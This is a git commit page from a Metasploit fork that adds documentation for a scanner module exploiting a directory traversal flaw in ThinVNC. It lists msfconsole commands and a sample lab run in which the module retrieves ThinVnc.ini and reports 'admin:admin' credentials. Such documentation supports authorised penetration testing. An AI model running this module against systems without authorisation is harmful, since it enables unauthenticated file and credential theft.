dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Add documentation

This commit is contained in:
Brendan Coles 2019-10-17 07:51:33 +00:00
parent 43c980ed29
commit de3cde6a15
1 changed files with 38 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

38
documentation/modules/auxiliary/scanner/http/thinvnc_travesal.md Normal file
View File

@ -0,0 +1,38 @@
## Description
This module exploits a directory traversal vulnerability in ThinVNC
versions 1.0b1 and prior which allows unauthenticated users to retrieve
arbitrary files, including the ThinVNC configuration file.
## Vulnerable Application
This module has been tested successfully on ThinVNC versions 1.0b1
and "ThinVNC_Latest" (2018-12-07).
ThinVNC is available on [Sourceforge](https://sourceforge.net/projects/thinvnc/files/).
## Verification Steps
1. `./msfconsole`
2. `use auxiliary/scanner/http/thinvnc_traversal`
3. `set rhosts <rhost>`
4. `run`
## Scenarios
### ThinVNC version 1.0b1 on Windows XP SP3
```
msf5 > use auxiliary/scanner/http/thinvnc_traversal
msf5 auxiliary(scanner/http/thinvnc_traversal) > set rhosts 172.16.123.123
rhosts => 172.16.123.123
msf5 auxiliary(scanner/http/thinvnc_traversal) > run
[+] File ThinVnc.ini saved in: /root/.msf4/loot/20191017033828_default_172.16.123.123_thinvnc.traversa_713640.txt
[+] Found credentials: admin:admin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/thinvnc_traversal) >
```